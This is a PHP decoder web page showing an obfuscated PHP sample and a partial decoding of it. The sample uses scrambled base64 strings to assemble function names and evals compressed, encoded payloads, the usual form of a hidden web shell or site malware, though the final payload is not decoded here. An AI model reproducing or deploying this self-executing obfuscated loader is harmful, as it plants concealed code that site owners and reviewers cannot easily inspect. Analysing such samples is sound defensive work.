Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download

if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LdK3sq
NIAEDRn9mqmVcEeFcbYdWA8MKok60WVsILz9fPBJ
vc9CS32FD7+x/XJQji//x+obngmP/yIhvy4veve4
bR87TcJEn1exzYK51HsyEZtzZvqqhS9DdBgE4K/C
gMsHTiM+BxDSeaAu6mzC5J+Jr1D4SyreRUgbsAlg
mldmw3RzoVw/54FU25sunCSD7Lcti0ZKqlIVpfH0
yGFc4KplPHLAvT1aRp26Cbb3ChNnViTcr776FsGJ
jg27N52wXVN+IUv05D6QPo4LJrjo8xY8I5qmMtMU
X8tKGxDs2eAVYnMXmg5igwnMtkpwcTph3ZteOScn
yvV+n6vqxx7r2WZXSauvVj36Xv7ZG4TbRqrmwN5W
SneHYTqthJLw/q0Sqjb0qq041vhAf5dZrmrolHo1
vnNYl5nvThsJQmHwkgGE3TVVWoqmukh3b57A7e9M
2exdbrwyE+oDzT34TSEP30C4y7SiYYf4l4QplU+Q
U7rH2hPfpQstVOcMF5qOm129NUmoTCrFBkvWLUVG
zPtPkZRYrrmtMBmaiHWLHM6kC/Q/HxmNhd+kbfxO
3W/N4bDnR5FOpoza4a3qCtkynkqYQ911doMlBSUl
TfW3vS7tHTxTJ5v3Jb597LGC+iAVHxjlRNU3V3zw
5TvcSzScDxwVHShBmAMWU/PrHjYMOnOhSfNDeEh0
d2ecjjNeGxfGWTY2NEFLdTzKdIDi5gKWFZlQnIFh
+SRklOWd6RbRsHHIJ3bAyYZ38kQIIzF9eb2nE5L+
sc3nReQr//CqWm1PbUFicFQVPa9Lrn8p4199Jy8v
GiZB8lK3ppBRdSWwM3ole057B7BD1GPEsdsrAsST
MC/71NxGOssL7DPII6LmNVP6JIHutuDn3xd14Ya/
oU0HnhWh5vO5Z1hkXx7F/JQlbWffNHA5d42VOlwg
ZnN98DutVX9nV7Ohq6Zc4we6DtwLAbck3qqvLAhF
lKPLiWTvdkAumy98tjGBFlFKKoaj5O1tUMztlaYY
LbAeb2u1glLeLlhgv6r5+fn3//AA==')));
?>

Function Calls

gzinflate 1
base64_decode 2

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp

Stats

MD5 7208c9f31bc30c05d47b14fb7ad1788c
Eval Count 1
Decode Time 76 ms